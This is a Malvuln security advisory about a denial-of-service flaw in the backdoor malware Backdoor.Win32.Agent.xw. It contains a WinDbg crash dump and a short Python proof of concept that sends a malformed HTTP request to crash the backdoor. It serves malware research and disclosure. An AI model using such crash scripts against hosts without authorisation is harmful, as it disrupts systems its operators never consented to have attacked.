Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/ed4242ad0274d3b311d8722f10b3abea.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Agent.xw (Null httpd 0.5.1) Vulnerability: Remote Null Ptr Dereference - Denial of Service Description: Sending an empty HTTP GET request triggers a null pointer dereference and access violation leading to a crash of the backdoor malware. Type: PE32 MD5: ed4242ad0274d3b311d8722f10b3abea Vuln ID: MVID-2021-0107 Dropped files: ASLR: False DEP: False Safe SEH: True Disclosure: 02/23/2021 Memory Dump: (1264.d0): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=ffffffff edx=00000000 esi=00000003 edi=00000003 eip=7710ed3c esp=0266e844 ebp=0266e9d4 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 ntdll!ZwWaitForMultipleObjects+0xc: 7710ed3c c21400 ret 14h 0:002> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+4ee4 00404ee4 8b420c mov eax,dword ptr [edx+0Ch] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 00404ee4 (Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+0x00004ee4) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 0000000c Attempt to read from address 0000000c PROCESS_NAME: Backdoor.Win32.Agent.xw.ed4242ad0274d3b311d8722f10b3abea.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 0000000c READ_ADDRESS: 0000000c FOLLOWUP_IP: Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+4ee4 00404ee4 8b420c mov eax,dword ptr [edx+0Ch] MOD_LIST: NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 000000d0 BUGCHECK_STR: APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_ffffffff PRIMARY_PROBLEM_CLASS: NULL_CLASS_PTR_DEREFERENCE_FILL_PATTERN_ffffffff DEFAULT_BUCKET_ID: NULL_CLASS_PTR_DEREFERENCE_FILL_PATTERN_ffffffff LAST_CONTROL_TRANSFER: from 004021f9 to 00404ee4 STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 0266f160 004021f9 00000000 0266f220 00411558 Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+0x4ee4 0266f248 770e1659 00000008 00000000 ffffffff Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+0x21f9 0266f288 770e13ee 00000000 770e13ee 00000000 ntdll!RtlpAllocateHeapInternal+0x259 0266f2e8 0040806c 03f204a0 0266f33c 004097f4 ntdll!RtlAllocateHeap+0x3e 0266f2f4 004097f4 0000000b 0266f318 0000000b Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+0x806c 0266f33c 0040f08e 0266fe38 0041079c ffffffff Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+0x97f4 0266f5d0 00401e48 0266fe30 0266f5f8 0266fe30 Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+0xf08e 0266ff80 76198654 03f202d0 76198630 b74a0958 Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+0x1e48 0266ff94 77104a77 03f202d0 35eaa03b 00000000 kernel32!BaseThreadInitThunk+0x24 0266ffdc 77104a47 ffffffff 77129ed6 00000000 ntdll!__RtlUserThreadStart+0x2f 0266ffec 00000000 004073db 03f202d0 00000000 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: ~2s; .ecxr ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+4ee4 FOLLOWUP_NAME: MachineOwner MODULE_NAME: Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea IMAGE_NAME: Backdoor.Win32.Agent.xw.ed4242ad0274d3b311d8722f10b3abea.exe DEBUG_FLR_IMAGE_TIMESTAMP: 400acf83 FAILURE_BUCKET_ID: NULL_CLASS_PTR_DEREFERENCE_FILL_PATTERN_ffffffff_c0000005_Backdoor.Win32.Agent.xw.ed4242ad0274d3b311d8722f10b3abea.exe!Unknown BUCKET_ID: APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_ffffffff_Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+4ee4 Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=7001 def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) P="GET / HTTP/1.0" s.send(P) s.close() print("Backdoor.Win32.Agent.xw / Null Ptr Dereference DoS") print("MD5: ed4242ad0274d3b311d8722f10b3abea") print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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